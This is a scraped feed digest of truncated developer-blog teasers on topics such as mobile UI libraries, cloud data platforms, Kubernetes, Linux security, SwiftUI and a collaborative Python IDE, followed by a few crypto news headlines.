    Finding the right UI components in 2026 is about more than just functionality. Developers now need intelligent, performant, and deeply accessible tools to meet modern user expectations. Standard libraries no longer cut it for standout applications. If you're searching for the best React Native Wheel Pickers, you need libraries built for the future. This guide breaks down the top options for date and color selection that deliver a next-generation user experience. Wheel pickers have remained a mobile UI staple for a reason. Their thumb-friendly, scrolling interface feels natural and efficient. But the technology driving them has changed completely. We've moved from basic JavaScript-driven components to sophisticated modules that use native device capabilities. The key innovations for 2026 fo…  ( 12 min )
    App Keyword Ranking: The Invisible Battle for Mobile Visibility
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    A Practical Framework for Collaborating with Global Influencers to Grow Subscription Apps
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    Kickstart Your Career with Our Android Repair Course!
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    Building a Lightweight, Multi-Store Restaurant Management System for a QSR Brand
    This case breaks down how we designed and implemented a cross-platform restaurant management system that works reliably across multiple branches — even with inconsistent network conditions and mixed hardware environments. Real-time sales and inventory sync Offline-first operation for unstable WiFi Role-based access control Multi-store data aggregation Cross-platform UI (desktop + tablet) Fast response time under peak load We used a modular, API-driven design: [Frontends] - Tablet Dashboard (Vue) - Desktop Admin Panel (Web) [APIs] - RESTful service layer - WebSocket for real-time sync [Core Services] - Stock management - Sales records - Employee roles & permissions - Multi-store aggregation [Data Layer] - Cloud DB (Primary) - Local SQLite fallback (Offline mode) The offline-first approach ensures all store operations keep running even when the network drops. Branch hardware varied widely: To handle this: The UI was optimized for low-memory devices API responses were lightweight Sync operations were incremental, not full-dataset After deployment, the system improved: Stock update accuracy Data sync stability Operational efficiency during peak hours Manager visibility across all stores This architecture is well-suited for: Multi-store retail management POS extensions Kitchen automation dashboards IoT-connected restaurant systems (smart freezers, energy sensors, etc.) ✅ Read the full engineering write-up 👉 https://zediot.com/case/restaurant-management-software-qsr/ ✅ Need custom restaurant or retail software? We build production-grade systems for QSR, retail, kitchen automation, and AI/IoT-enabled operations. https://zediot.com/contact/  ( 6 min )
    Why I’m Learning Web3: A 60-Day Journey from Beginner to DevRel/Community
    1 year ago, most of my work lived in a very different world from Web3. I was building and managing communities, writing technical content, and helping products grow. I’ve written dozens of technical articles, helped brands talk to their users in plain language, and seen firsthand how strong communities can make or break a product. But every time I opened Twitter or LinkedIn, there was one word I kept seeing everywhere: Web3. People were talking about DAOs, DeFi, NFTs, on-chain communities, and “DevRel” as if it was obvious. It wasn’t obvious to me. I wasn’t a JavaScript wizard. I wasn’t deploying smart contracts. I was curious, a little intimidated, and very aware that I was late to the party. So instead of pretending to understand it, I decided to do something different: learn Web3 in pub…  ( 9 min )
    Azure Synapse vs Databricks: 10 Must-Know Differences (2025)
    Data is the foundation of modern enterprise innovation—but you need a solid platform to make the most of it. That means being able to handle massive amounts of data, power real-time analytics, and simplify machine learning workflows. There are several platforms out there, but two really stand out for this: Azure Synapse and Databricks. Both are popular, powerful, and live in the cloud, but that's where a lot of the similarity ends. To choose between them, you need to know what each one does best. Databricks is basically Apache Spark supercharged for the cloud. It's built around the "Lakehouse" concept, which combines the benefits of data lakes and data warehouses. On the flip side, Azure Synapse Analytics is Microsoft's all-in-one data analytics service. It combines data warehousing,…  ( 44 min )
    NAS vs. Object Storage vs. JuiceFS: Storage Selection of Billion-Dollar Quantitative Firms
    In the quantitative investment field, the performance and scalability of the storage system support efficient research and computational tasks. JuiceFS, an open-source high-performance distributed file system, has become the storage backbone for multiple top-tier, billion-dollar quantitative investment firms. It delivers high-performance, cost-effective, and elastically scalable storage infrastructure for their core operations—including backtesting and model training. This article shares the critical storage challenges faced by quantitative firms and how JuiceFS addresses them. We’ll explore typical case studies focusing on cost optimization, metadata performance improvement, and seamless cloud migration. First, let's understand the data usage patterns in quantitative research. The progr…  ( 15 min )
    Free Interactive SQL Practice Platform for Developers
    Looking for a practical way to improve your SQL skills? Check out https://www.sql-practice.online/ — a free platform with 60+ interactive SQL exercises based on realistic business data (HR, E-commerce, School). Write and validate queries online, track your progress, and prepare for technical interviews. Perfect for learners, developers, and anyone who wants to master SQL through hands-on practice. No signup needed.  ( 6 min )
    🚀 Task #4 — GitHub Actions with CI + Docker + GitOps ArgoCD + GKE Cluster (CICD)
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    Using VPN for Google Services: Why and When You Need It in 2025
    Why Google Services Access Is Becoming Problematic Google Search, Gmail, YouTube, Google Maps, Google Meet, and Gemini are tools modern work can't function without. But in 2025, users face new barriers: government censorship (as in China and Iran), corporate firewalls, ISP throttling, and data leak risks on public Wi-Fi. A VPN has ceased to be optional and become essential for safe access. The key point: using a VPN to protect your Google connection is completely legal and recommended by cybersecurity experts. Google Search — the #1 search engine Learn more about VPN for Google Gmail — email service Learn more about VPN for Gmail YouTube — video platform Learn more about VPN for YouTube Google Maps — maps and navigation Learn more about VPN for Google Maps Google Meet — video conferencin…  ( 8 min )
    Struktur Folder Hugo CMS: Peta Jalan Menuju Website Statis yang Rapi dan Kencang
    Halo Kawan Deuxly! Pernah nggak sih kamu merasa overwhelmed saat pertama kali membuka teks editor setelah menginstal Hugo? Di panel kiri, berderet folder dengan nama-nama asing: archetypes, assets, content, layouts, dan teman-temannya. Rasanya seperti masuk ke kokpit pesawat tanpa buku manual. Bagi pengguna WordPress, kita terbiasa dimanjakan. Kita nggak perlu tahu di mana database disimpan atau di mana file inti berada. Tapi di Hugo—dan dunia Static Site Generator (SSG) pada umumnya—file dan folder ADALAH database kamu. Memahami struktur direktori Hugo bukan sekadar hafalan. Ini adalah tentang memahami logika dan hierarki. Jika kamu paham konsep ini, kamu bisa memanipulasi tema deuxlytheme (atau tema apapun) sesuka hati tanpa takut merusak kode aslinya. Di artikel ini, kita akan membedah …  ( 10 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    TL;DR CinemaSins just dropped “Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less,” where they jokingly tear into the new Fantastic Four movie—sponsor shout-out to BetterHelp included—and rack up their usual sins, even if the film “wasn’t bad.” They round out the vid by plugging their main site, YouTube spinoffs (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a sinful poll, Patreon support, and a slew of community links (Discord, Reddit, Instagram, TikTok)—plus full writer credits for those curious who’s behind the jokes. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
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    How to Use Webflow as a Developer: A Complete Technical Workflow Guide
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    Building Software That Actually Gives a Damn: My Journey with Trauma-Informed Design
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    Kubernetes Gateway API Rehberi: Ingress NGINX'ten Göç ve Zabbix Örneği
    NGINX Ingress'e Ne Oldu? 2026 yılında Kubernetes dünyasında önemli bir değişiklik yaşanacak: NGINX Ingress Controller artık yeni özellik güncellemeleri almayacak. Panik yapmaya gerek yok - mevcut kurulumlarınız çalışmaya devam edecek. Ancak yeni özellikler için artık başka bir çözüme bakmamız gerekiyor. İşte burada Kubernetes Gateway API devreye giriyor. Gateway API, Kubernetes'in resmi olarak desteklediği yeni nesil routing çözümü. Ingress'ten temel farkı şu: modüler yapısı. Ingress'te her şey tek bir YAML dosyasında toplanıyordu. Gateway API ise işleri üç parçaya ayırıyor: Cluster genelinde hangi gateway controller'ın kullanılacağını belirler. Bunu bir kere tanımlıyorsunuz ve tüm cluster için geçerli oluyor. apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: …  ( 9 min )
    Integrate Cloudflare Turnstile into Astro and React Apps
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    LOT_002: First time using the new Zoom LiveTrak L6max
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    Daily Tech News Roundup - 2025-11-28
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    [ShowDev] I Built an Open-Source "Audit Tool" to Detect Government Waste Using Python & Math 🐍📊
    The Problem: "Vanity Metrics" in the Public Sector Governments love big numbers. "Total budget: $100M!" "Cumulative users: 30,000!" In the startup world, we call these "Vanity Metrics"—numbers that look good on paper but mean nothing in reality. They often hide the denominator (population or actual needs) to create an illusion of success. I live in Kashiwa City, Japan. Recently, the city proudly announced "3,000 users!" for a new app project. It sounded impressive until I ran a simple calculation: City Population: 430,000 Penetration Rate: 0.7% It wasn't a success. It was a statistical error. I developed a logic called SBCM. It normalizes huge, vague numbers into a "Standard Block"—the capacity of a single average municipality. Instead of looking at the raw number ($V$), we calculate the…  ( 8 min )
    The Hidden Cost of Multiple Business Solutions: Why Your Business is Bleeding Money
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    Atrament.js Canvas Library: Smooth Drawing with Pressure Support
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    How a Model Really Learns: From Loss to Learning in Machine Learning & Deep Learning
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    Building a Clinical AI Assistant with RAG and GPT-4
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    🔐 The Linux Security Architecture - PAM, Capabilities, MAC & Beyond
    Linux powers everything from cloud servers to Android smartphones - trusted not just because it's open-source, but because its security architecture is layered, modular, and resilient. Instead of depending on a single control, Linux enforces defense-in-depth through authentication frameworks, access controls, kernel-level enforcement, and isolation. Here's a breakdown of the 7 key layers that make Linux secure: 1️⃣ Discretionary Access Control (DAC) - The Classic Unix Model DAC is the foundation of Linux security. Every file and process has: An owner A group Permissions for user */ **group */ **others Example: -rwxr-xr-- root admin script.sh 👉 Fast and simple 2️⃣ Pluggable Authentication Modules (PAM) - How Users Login & Prove Identity PAM decides how authentication works in Linu…  ( 8 min )
    ⚡ Dartalyst: A New Full-Stack SSR Framework That Just Hit 30,937 Requests Per Second
    Dart (NevaehUI) for the frontend Crystal (KothariAPI) for the backend The combined framework is called Dartalyst, and based on internal benchmarks, it now ranks among the fastest SSR frameworks currently measured. This post breaks down the numbers, the comparisons, and why this architecture works — with public testing opening in 3 weeks. Dartalyst was tested across four workloads: Test Throughput Simple SSR 30,937 req/s Concurrent SSR 25,897 req/s Complex Components 7,029 req/s Data Fetching (SSR) 6,887 req/s All tests included: HTML generation Component rendering State serialization Hydration markers Real routing logic No caching. Just actual SSR. Below is a comparison using publicly available SSR benchmark ranges (not raw HTTP benchmarks). Top-Tier SSR (20,000+ req/s) …  ( 7 min )
    Real AI-first products won’t need to say “AI” anywhere. They’ll simply feel smoother, smarter, and more effortless than the alternatives. The future will belong to the builders and operators who understand this distinction.
    From Hype to Impact: What AI-First Really Means Jaideep Parashar ・ Nov 28 #ai #architecture #api #nocode  ( 7 min )
    Day 56 of 100 days dsa coding challenge
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    Faceless AI Video Course Review: 10-Minute Shorts Workflow for Fast Output and Email Monetization
    This faceless AI video course offers a 10-minute live Shorts workflow that eliminates editing, scripting, and device restrictions. It speeds up production, reduces startup costs, and transitions creators from unstable RPM Shorts to email-based revenue. The system supports beginners, channel owners, and anonymous creators through rapid acquisition, multi-niche testing, and first-list monetization. Strengths include speed, cost-effectiveness, and repeatable faceless output; limited focus on long-term stability and format dependency. here]  ( 6 min )
    From Hype to Impact: What AI-First Really Means
    “AI-first.” Everyone uses the term. But if you strip away the buzzwords and marketing decks, only a small fraction of products in 2025 are truly AI-first. Most are AI-decorated, not AI-designed. And the difference is massive. AI-decorated products add AI on top of old workflows. If we want to move from hype to real-world impact, we need to understand what AI-first actually means, and what it doesn’t. Here’s how I see it. 1. AI-First Is Not “We Added an AI Feature” Most products claiming to be AI-first simply added: a chatbot on the side an auto-generated summary a code snippet generator a text rewrite tool an image assistant These are AI features, not AI foundations. If you can remove the AI and the product still works, it’s not AI-first. True AI-first products collapse the entire workflow…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    In “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” CinemaSins delivers a rapid-fire roast of the new K-pop action flick, piling on signature jokes and playful nitpicks. Along the way they drop links to their main site, YouTube channels (like @TVSins and @CommercialSins), a fan poll, and a Patreon invite for anyone who wants to support the sin squad. Credits go to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel, and you’re encouraged to keep the conversation going on Discord and Reddit or catch more sins on Instagram, TikTok—and even Jeremy’s new book. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With Mission: Impossible – The Final Reckoning,” a 27-minute roast of Cruise’s latest globe-trotting, death-defying stunts—all while poking fun at how this franchise might’ve lost its magic. Expect snappy jokes, a running “sin” counter, and plenty of eye-roll moments. Hungry for more sinful fun? Hit up cinemasins.com or their Linktree to fill out polls, support them on Patreon, and join the party on Discord, Reddit, TikTok, Instagram—and see which sin-spotting heroes (like Jeremy, Chris, Aaron, and the rest) cooked up this takedown. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s in a slump — Marvel and Star Wars aren’t sticking the landing, and new releases Wish and Elio barely made a ripple. But of course, Disney’s had its flop phases before, and over the next few weeks The Weekly Planet is digging into four of their biggest live-action disasters on Caravan of Garbage. First up: 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, a dash of magic, an inexplicable giant bird and a whole lot of “what was I watching again?” nostalgia. Buckle up for a playful roast of this long-forgotten misfire. Watch on YouTube  ( 6 min )
    The Power of Code Snippets: How to Sell Your Own Code Libraries and APIs
    Do you ever write a little piece of code — a utility, a library, an API endpoint — and then leave it at that, tucked away in a private folder or GitHub gist? What if instead you turned that snippet into a product—something others pay for, reuse, build on? a reusable asset, not just a one-off solution, you open up a world of possibility. In this post we’ll explore how and why you can create and sell your own code libraries or APIs (for example on platforms like RapidAPI or the GitHub Marketplace), how to do it well, and how to make real money from something you wrote once but reused many times. When I first started programming, I treated every piece of code as disposable — write it, use it, done. Later I realised: many of those snippets were generic, reusable, and could serve other people’s…  ( 12 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    Disney’s Slump and the “Caravan of Garbage” Series Modern Disney is in a rough patch—Marvel and Star Wars aren’t hitting like they used to, and new releases like Wish and Elio barely made a ripple. But Disney’s no stranger to flops, so over the next few weeks this show will dive into four colossal live-action disasters, kicking off with 2010’s Nicolas Cage–led The Sorcerer’s Apprentice (yes, magic and a giant forgettable bird). Where to Catch the Fun Hosted by James and Maso, you can find bonus podcasts, early videos and movie commentaries at bigsandwich.co, or tune into their Extended Audio Edition on YouTube. Don’t forget to follow them on Twitter and support the chaos on Patreon! Watch on YouTube  ( 6 min )
    Tank 300IQ — A Smart Ricochet Tank Shooter Right in Your Browser
    🚀 Introducing Tank 300IQ — A Ricochet Tank Shooter With Adaptive AI Play now: https://en.inithtml.com/tank-300iq/ If you enjoy fast-paced arena shooters, physics-style ricochet mechanics, and bots that actually learn, you’ll probably vibe with Tank 300IQ — a tiny-but-chaotic browser tank game where bullets bounce, tanks dash, and both sides shoot down incoming fire mid-air. Runs directly in your browser (PC + Mobile), no downloads, no account — just play. Tank 300IQ is built around smart ricochet combat and a tactical AI “brain” per difficulty. Each bot adapts based on how you play, storing its behavior profile in localStorage. 5 Difficulty Levels (Easy → Insane) Bots can: Lead shots and analyze angles Perform ricochet & multi-bounce calculation Read distance, danger, and advantage …  ( 7 min )
    🚀 Cómo Usé IA, FRDs, Claude Sonnet, Windsurf y Antigravity para Orquestar un Backend Completo Sin Caos
    Una metodología reproducible para generar software real, limpio y escalable usando agentes LLM orquestados por documentos FRD formales. ` Introducción En los últimos meses he estado aplicando un enfoque de desarrollo basado en FRDs (Functional Requirements Documents) orquestados con apoyo de Inteligencia Artificial para construir backends modernos, limpios y escalables. Este método me permitió crear un backend completo —con CRUD, base de datos, autenticación JWT, migraciones y pruebas unitarias— sin caos, sin improvisación y con código limpio desde el primer commit. Algo importante que descubrí durante este proceso es que comencé usando un FRD gigante, un documento único donde describía todas las fases (boilerplate, base de datos, autenticación, pruebas, etc.). Aunque el docume…  ( 9 min )
    TemplateCAT: A Template Discovery Platform to Find Website Inspiration from 200+ Categories
    Use Cases For Developers: Quickly find a starting point for client projects or personal sites without building from scratch For Designers: Browse design patterns and discover what's trending in different categories For Product Makers: Find pre-built templates to launch landing pages faster when validating ideas As an indie developer working on multiple projects, I was constantly searching for templates across different platforms. I realized there was no centralized place to discover templates by the specific features and styles I needed - so I built one. The platform currently aggregates templates from major website builders, making it easier to compare options and find the perfect starting point for your next project. Visit TemplateCAT.net and start exploring. Whether you need a template for your next SaaS landing page, portfolio site, or just want to browse current design trends, you might find exactly what you're looking for. What features would make template discovery even better? Let me know in the comments! P.S. The name? It's a play on "templates by categories" - but also, cats are great at finding things (allegedly). 🐱  ( 6 min )
    Billiard Fractals: The Infinite Patterns Hidden in a Rectangle
    Complex systems often appear chaotic or incomprehensible, yet closer examination reveals that such complexity can frequently be reduced to a simple underlying mechanism. By systematically removing layers of emergent behavior, one can uncover a fundamental rule or equation from which the entire system originates. While the system described in this article may appear trivial at first glance, the resulting patterns exhibit quasi-fractal behavior that can be analyzed, encoded, and even predicted through symbolic methods. The work presented here was developed independently through direct observation, rather than derived from prior literature. A useful way to motivate this exploration is by analogy with a common physical phenomenon - wave interference. Consider waves on the surface of a river: …  ( 28 min )
    You Don't Know the True Meaning of Retreat Yet
    Background Current State of Business Retreats Are you familiar with business retreats? They are either intensive brainstorming sessions or employee trips with an emphasis on relaxation. Typically, organizations that mostly operate in a fully remote manner gather about once every six months. The specifics vary by organization, but the one constant is that you are always spending time with other members. Usually, there's some kind of curriculum where everyone gathers in a room to work on activities together. Even during free time, there's pressure to engage in conversations, discussions, and interactions with other members. Sure, you can refresh yourself in an extraordinary environment, temporarily distance yourself from work to relax, and deepen relationships with members. But …  ( 8 min )
    FounderForge AI workspace
    FounderForge AI Workspace is a secure, end-to-end encrypted (E2EE) platform purpose-built for entrepreneurs and innovators to accelerate the journey from idea to launch. It combines rapid prototyping tools, structured evaluation frameworks, and real-time feedback loops into a single workspace designed for speed, clarity, and investor readiness. 🔑 Core Value Proposition Rapid Prototyping: Entrepreneurs can quickly scaffold MVPs, mockups, and workflows without heavy technical overhead, enabling fast iteration and testing. Idea Validation: Built-in evaluation templates and AI-driven scoring help founders stress-test assumptions, market fit, and scalability potential. Presentation Feedback: Pitch decks, investor briefs, and workflow specs can be uploaded and refined with AI-powered critique, …  ( 6 min )
    look at this problem once Can we discuss dsa problem here!
    look at this problem suggest in any solution Link  ( 6 min )
    Building Miniviz: A Minimalist BI Platform for IoT PoCs
    What I Built I built Miniviz, a minimalist BI platform to speed up IoT proof-of-concepts (PoCs). https://miniviz.net/ The goal is intentionally simple: Send time-stamped data Store it without heavy setup Visualize it quickly Notify when something crosses a threshold In many PoCs, the pain isn’t the sensor code—it’s everything around it (DB, auth, dashboards, alerts). Miniviz is my attempt to make that “cloud-side glue” thin enough that you can get to a first success fast. In this demo, we'll send a JSON event via curl, check it in the Database view, create a chart, and add an alert — all from a shell terminal, with no Python required. Generate a UNIX timestamp in milliseconds (pure shell): TS=$(($(date +%s%N)/1000000)) Export your credentials: export PROJECT_ID="YOUR_PROJECT_ID" export…  ( 8 min )
    Glass Fiber Create Home on Wheels DIY Guide
    Fiberglass perfectly suits motorhome construction. Produced from fiberglass saturated with polyester or epoxy resin.Because of its unique structure, fiberglass contains lightness, strength, durability, and high resistance to external negative influences.Key properties of fiberglass include:High strength at minimal thickness.A 2 mm fiberglass sheet can be comparable or stronger than 6 mm plywood.Good resistance to moisture and temperature swings.Fiberglass does not absorb moisture, does not rot, swell or crack at high temperatures.Possibility to manufacture complex forms and curved components.Compared to plywood and MDF, fiberglass easily forms any curves and shapes, enabling ergonomic shower trays, rounded furniture edges, and custom parts.Moderate weight. This contributes to reducing the …  ( 9 min )
    How to Pass the Esri ArcGIS Pro Associate Exam (EAPA_2025) with Confidence
    Achieving this certification can significantly enhance career prospects and confirm a candidate's readiness to tackle real-world GIS challenges. Navigating the certification journey requires a structured approach, dedication, and the right resources. This comprehensive guide outlines the key steps and strategies to help individuals confidently pass the Esri ArcGIS Pro Associate exam. The Esri ArcGIS Pro Associate certification signifies a foundational level of expertise in ArcGIS Pro, a powerful desktop GIS application. It is ideal for GIS analysts, technicians, specialists, and students looking to formally validate their skills. This credential not only boosts a professional's resume but also instills confidence in their ability to perform core GIS tasks efficiently. Possessing the Esri A…  ( 11 min )
    Difference Between this and super in Java
    Introduction I would like to explain the difference between this and super in java with proper examples . this ? this is keyword. this keyword refers current class instance variable and instance method . We have to use this in non-static area only otherwise we get error . This is because this keyword is non-static reference variable . this is by default available in instance block , instance method and constructor After creation of object of the current class . if instance variable and local variable name are same and we want to access instance variable then we have to mention this keyword explicitly. What issuper? super is also keywords . super keyword refers Super class instance variable and instance method . We have to mention super keyword in non-static …  ( 8 min )
    what if we had an E2EE AI tool that reduces surveillance and IP theft?
    A post by Ese-Osarumen Efesomwan  ( 6 min )
    Mastering Tariff Code Lookup for International Trade
    Navigating the complexities of international shipping and customs requires a precise understanding of tariff codes. This comprehensive guide demystifies the process of tariff code lookup, explaining its critical importance, the structure of the Harmonized System, and providing a step-by-step methodology for accurate classification to ensure compliance and avoid costly delays. Introduction: The Gateway to Global Commerce What Exactly is a Tariff Code? The structure is logical and hierarchical: The first six digits are universal across all member countries. For example, 1701.99 refers to "Cane or beet sugar and chemically pure sucrose, in solid form; other sugars, including invert sugar; other." The Critical Importance of an Accurate Tariff Code Lookup Determining Duty Rates: The most direct…  ( 10 min )
    Neovim x Unreal Engine: Visualizing Config Inheritance & Jumping to Super Classes [Weekly Update]
    Introduction Hello! I’m a developer who is frantically building plugins to make Neovim the most comfortable environment for Unreal Engine development. My goal is to make Neovim function just like a full-fledged IDE (like Rider or Visual Studio) for UE5. tree-sitter-unreal-cpp This step is mandatory to use the new features. For features like AActor class analysis, the Symbols View, and the new Goto Super (described below) to work correctly, please overwrite your plugin config with the following settings (The Wiki has also been updated): { 'nvim-treesitter/nvim-treesitter', branch = "main", config = function(_, opts) vim.api.nvim_create_autocmd('User', { pattern = 'TSUpdate', callback = function() local parsers = require('nvim-treesitter.parsers') …  ( 9 min )
    What's left for me after AI
    I’m a web developer — not even a particularly good one. I dropped out twice, loved Human Computer Interaction class (I guess now people call it UX?) and learned CSS when most of my friends studied PHP. 24 years later, I'm sitting in front of my screen, trying Claude Opus 4.5 and Gemini 3. It's quite awesome. But then the thought struck me. I never really tried to do anything other than programming. AI is going to take over my job, and I’m already in my 40s wondering if I can even find another one. “No one makes horse-drawn carriages anymore. No one gets paid to shovel horse shit off the streets. Those used to be full-time jobs—people made horse feed, people designed parking lots for carriages. Those jobs just don’t exist anymore. And nobody is out there trying to bring them back.” — Neil d…  ( 7 min )
    The Only Developer Skill That Scales in 2026
    Technical stacks shift. Hiring markets mutate. Tooling obsoletes itself every quarter. The only durable advantage is the ability to convert ambiguity into working systems faster than your peers. That isn’t creativity or talent. It’s process. Define the problem in one sentence. Strip every requirement that doesn't change the outcome. Identify the single constraint that governs the system. Build the minimum artifact that validates your assumption. Iterate only on what breaks. Eliminate everything else. This workflow outperforms brilliance, years of experience, and encyclopedic framework knowledge. It produces momentum anywhere: new jobs, new stacks, new domains. It reduces burnout by removing self-inflicted complexity. It turns pressure into throughput. Developers who internalize this stop chasing hype and stop fearing disruption. They become the stabilizing force teams rely on because they execute predictably in volatile conditions. That’s the multiplier. That’s the leverage.  ( 6 min )
    Seeing Through the Shine: AI That 'Sculpts' 3D from Reflections
    Seeing Through the Shine: AI That 'Sculpts' 3D from Reflections Ever tried to 3D scan a shiny object? The reflections throw everything off, making accurate reconstruction nearly impossible. It's like trying to photograph a ghost – the data is there, but distorted. What if AI could learn to ignore the glint and see the underlying shape, like an artist sculpting clay? This is the core idea behind a new approach to 3D reconstruction. Instead of directly interpreting reflected light, a neural network is trained to translate images into a "clay-like" representation. Think of it as the AI re-imagining the object as if it were made of matte, reflection-free material. This intermediary representation, devoid of confusing specular highlights, provides a much cleaner signal for inferring the objec…  ( 7 min )
    Transform SDK Integration with Monetzly's Smart Ad Solutions
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? Imagine a world where your AI application not only serves users but also generates revenue through two distinct channels—without compromising user experience. Enter Monetzly, the groundbreaking platform designed to empower developers like you to monetize your AI tools efficiently while seamlessly integrating relevant advertising. In the current landscape of AI applications, monetization can often feel like an uphill battle. Subscriptions, paywalls, and underwhelming ad placements can disrupt user engagement and limit your earning potential. Monetzly shifts the paradigm. Here’s how: Monetize Without Barriers With Monetzly, you can monetize your app without forcing users through paywalls or subscriptions. Instead, you…  ( 7 min )
    How Subtle UI Details Make Your Design Stand Out. Practical Techniques for Modern Interfaces
    How Subtle UI Details Make Your Design Stand Out. Practical Techniques for Modern Interfaces Introduction Most UI layouts today are clean, responsive, and technically sound, but they often lack something crucial: personality. In this article, I’ll show how small aesthetic decisions, like parallax depth, environmental motion, soft textures, and micro-details can make a website feel alive. I’ll use my own portfolio as the example, breaking down exactly how I implemented each detail and why it works. Choosing a Primary UI Concept and Its Supporting Details So how do you actually do that? You start small, you think to yourself, "What am I buiding? What am I trying to portray?" With this picture in mind you can now start deciding which theme will be your main focus and which will…  ( 9 min )
    Java native hack
    配置profile 在子模块中增加 native true org.graalvm.buildtools native-maven-plugin com.github.crazyrunsnail.careportal.module.hospital.CarePortalHospitalApplication process-aot process-aot com.github.crazyrunsnail.careportal.module.hospital.CarePortalHospitalApplication org.projectlombok lombok --> org.springframework.boot--> spring-boot-devtools--> runtime--> true--> --> 运行 mvn -Pnative clean native:compile 增加配置类 MybatisPlusRuntimeHintsRegistrar 和 MyBatisNativeConfiguration 运行 mvn -Pnative clean native:compile  ( 6 min )
    Uma Abordagem Funcional para Domain-Driven Design
    Há algumas semanas, eu defini a meta de aprender TypeScript e desenvolver um produto do zero utilizando tudo o que a linguagem de programação tem a oferecer. Sendo alguém com experiência trabalhando com orientação a objetos, migrar para um ambiente multiparadigma me pareceu bastante interessante. Um dos desafios foi trazer os conceitos aplicados em aplicações C# e .NET para o mundo do Node.js, e um desses conceitos foi o Domain-Driven Design. Explicando de forma breve, Domain-Driven Design, ou DDD, é uma abordagem de desenvolvimento de software que foca na complexidade do domínio de negócio, trazendo-o para o centro do desenvolvimento e buscando aproximar os especialistas desse domínio do processo de criação dos sistemas. Ele te fornece algumas ferramentas para lidar melhor com essa comple…  ( 9 min )
    SwiftUI Animation Masterclass — Springs, Curves & Smooth Motion
    SwiftUI makes animation incredibly easy — but smooth, professional, Apple-quality motion requires a deeper understanding of how timing, springs, and transitions really work. In this masterclass, we’ll cover everything you need to build clean, fluid, modern animations that match the feel of Apple’s own apps. This includes: implicit vs explicit animations spring physics timing curves matchedGeometryEffect phase animations interactive gestures + motion real-world patterns you can reuse Let’s level up your animation game. 🚀 Implicit Animation Changes animate automatically when bound to a state. @State private var scale = 1.0 Circle() .scaleEffect(scale) .animation(.easeInOut(duration: 0.4), value: scale) Just update scale → animation runs. More control — run animation cod…  ( 8 min )
    How I Built a Real-Time, Google Docs-like browser IDE for Python (and it's free!)
    For the past months, I’ve been building PyTogether, an open-sourced, real-time collaborative Python IDE designed specifically for students, education and pair programming purposes. While tools like Replit and VS Code Live Share exist, they often come with significant bloat-paywalls, complex environments, and AI copilots that can actually hinder the learning process for beginners. As a second-year engineering student myself, I wanted to build the opposite: a lightweight, communication-first environment where the code is the focus. The result is a fully free, browser-based IDE with real-time selections, voice/live chat, and shared drawing tools. It currently supports over 500 users. Here is a deep dive into the architecture, the tech stack, and the specific engineering hurdles I faced buil…  ( 8 min )
    **Breaking Down the Cost of Healthcare: Medicare Beneficiaries to Reap Benefits from Falling Drug Prices**
    Breaking Down the Cost of Healthcare: Medicare Beneficiaries to Reap Benefits from Falling Drug Prices The rising cost of prescription medications has been a pressing concern for many Americans, particularly those relying on Medicare for their healthcare coverage. For years, the prices of certain medications have continued to soar, leaving many individuals struggling to afford the treatments they need. However, a recent development is set to bring some much-needed relief to Medicare beneficiaries. A Glimmer of Hope: Discounts on GLP-1 Medications In a significant move, Novo Nordisk, the manufacturer of GLP-1 medications such as Ozempic, has announced that prices for these treatments will be falling sharply in 2027. This news is particularly welcome for Medicare beneficiaries, who have lo…  ( 7 min )
    Why Choose Shopify: a pragmatic guide for devs, founders, and indie hackers
    Hook: the problem and the promise You want to sell online without reinventing core infrastructure: hosting, payments, security, and scaling. Shopify promises to offload those operational burdens so you can iterate on product, UX, and growth with predictable reliability. This article explains why Shopify is worth considering from a technical perspective, what trade-offs you’ll accept, and practical tips to build fast, scalable stores and headless experiences. Shopify is a managed ecommerce platform that combines hosting, a secure checkout, payment integrations, and a rich app ecosystem. For small teams and solo founders, that means less DevOps and faster time-to-market. For engineering teams, it provides APIs to build custom frontends and integrations while keeping the heavy lifting centr…  ( 8 min )
    Installing Ubuntu server for FTP service.
    Cloud computing provides on demand access to computing resources such as servers, storage, databases, and applications over the internet. It enables scalability, flexibility, and cost efficiency compared to traditional on premises infrastructure. In Microsoft Azure, a Resource Group is a logical container that holds related resources for a solution. Virtual machines, databases, storage accounts, and networking components can all be grouped together, making it easier to manage, monitor, and apply policies. Resource groups support lifecycle management (deploy, update, delete), role based access control, and cost tracking. In our exercise, we will demonstrate how to configure FTP server and create resource group, storage account, virtual network, Network Security Group and associate with o…  ( 8 min )
    **The Rise of the Nordic Startup Ecosystem: A Booming Success Story**
    The Rise of the Nordic Startup Ecosystem: A Booming Success Story Introduction The Nordic region, comprising countries such as Sweden, Norway, Denmark, Finland, and Iceland, has long been known for its innovative and entrepreneurial spirit. In recent years, the region has experienced a significant boom in its startup ecosystem, with a surge in the number of successful startups and a growing interest from investors. In this article, we will delve into the factors contributing to this success and explore the opportunities and challenges that lie ahead. A Thriving Ecosystem The Nordic startup ecosystem has been gaining momentum in recent years, with a growing number of successful startups emerging from the region. According to a report by Startup Genome, the Nordic region is home to over 1,…  ( 8 min )
  • Open

    Tether Shuts Down Uruguay Mining Operations Over Energy Tariffs
    The company had planned to invest up to $500 million in Uruguay, but cited high energy prices and regulatory hurdles as reasons for its pullout.
    Brazil’s Economic Center São Paulo to Pilot Blockchain-Based Microloans for Farmers
    The project utilizes a blockchain infrastructure developed with Tanssi's technology, enabling predictable transaction fees and reliability, rather than relying on public blockchains.
    European Asset Manager Amundi Debuts Tokenized Share Class on Ethereum
    The tokenized share class provides investors with blockchain-based access to Amundi’s euro cash fund, enabling faster, round-the-clock trading.
